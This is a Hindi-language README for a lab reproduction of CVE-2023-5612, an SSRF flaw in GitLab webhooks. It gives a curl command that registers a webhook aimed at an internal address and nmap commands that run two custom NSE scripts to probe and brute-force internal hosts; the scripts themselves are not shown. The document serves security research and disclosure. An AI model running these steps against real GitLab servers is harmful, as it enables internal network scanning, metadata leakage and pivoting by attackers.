
CVE-2023-5612, एक GitLab CE/EE webhook SSRF, के लिए प्रूफ-ऑफ-कॉन्सेप्ट और विश्लेषण। इसमें curl PoC चरण और आंतरिक URL को सत्यापित और ब्रूट-फोर्स करने के लिए कस्टम NSE स्क्रिप्ट शामिल हैं।
GitLab CE/EE में एक SSRF दोष है जो आक्रामकों को वैध प्रोजेक्ट मेंटेनर एक्सेस के साथ किसी भी आंतरिक सेवाओं को दुर्भावनापूर्ण वेबहुक URL के माध्यम से निर्मित अनुरोध भेजने की अनुमति देता है। इसका शोषण आंतरिक नेटवर्क स्कैनिंग, मेटाडेटा लीकेज, या आगे पिवोटिंग का कारण बन सकता है।
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- परीक्षण के लिए विशेष रूप से तैनात वर्चुअल मशीन के अंदर Kali Linux
- Docker के माध्यम से शुरू किया गया कमजोर GitLab CE उदाहरण (पोर्ट 8080)
- GitLab के अंदर:
- एक परीक्षण प्रोजेक्ट बनाया गया
- मेंटेनर अधिकारों के साथ एक व्यक्तिगत एक्सेस टोकन (glpat-...) उत्पन्न किया गया
- आंतरिक SSRF लक्ष्य के लिए 127.0.0.1:8888 पर न्यूनतम HTTP सेवा शुरू की गई
- curl के माध्यम से मैन्युअल रूप से दोष की पुष्टि (देखें PoC)
- कस्टम NSE स्क्रिप्ट्स का निर्माण:
gitlab-ssrf.nse: SSRF के लिए लक्षित जांच
gitlab-ssrf-brute.nse: आंतरिक पते का स्वचालित ब्रूटफोर्स
- API व्यवहार का विश्लेषण और परिणामों को रिकॉर्ड करने के लिए nmap -d और --script-trace के साथ परीक्षण
- आंतरिक सेवा से 401 Unauthorized प्रतिक्रिया प्राप्त करना, जो सफल SSRF को इंगित करता है
- सफल अनुरोध `201 Created` लौटाएगा या `401 Unauthorized` प्रकार की त्रुटि दिखाएगा, जो SSRF एक्सेस को इंगित करता है।
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
**CVE-2023-5612** दोष पर काम करते समय, GitLab CE API के माध्यम से आंतरिक पतों तक पहुंच के साथ एक सफल SSRF आक्रमण परिदृश्य का पुनरुत्पादन किया गया। यह दर्शाता है कि वेबहुक क्षमताओं को सीमित करने और सर्वर साइड पर URL सत्यापन लागू करने के लिए कितना महत्वपूर्ण है।
.
├── gitlab-ssrf.nse # मैन्युअल SSRF सत्यापन के लिए NSE स्क्रिप्ट
├── gitlab-ssrf-brute.nse # आंतरिक होस्ट/पोर्ट्स को स्कैन करने के लिए NSE ब्रूट स्क्रिप्ट
├── screenshots/ # PoC निष्पादन और दोष पुष्टि की स्क्रीनशॉट्स
└── README.md # यह फ़ाइल
Pavel Topskiy
GitHub • सुरक्षा विश्लेषक, रेड टीम विश्लेषक
सभी परीक्षण जानबूझकर कमजोर संस्करणों पर अलग किए गए प्रयोगशाला वातावरण में किए गए थे। इसे अनुमत नहीं दी गई प्रणालियों के खिलाफ उपयोग न करें। नैतिक हैकिंग सिद्धांतों का सम्मान करें।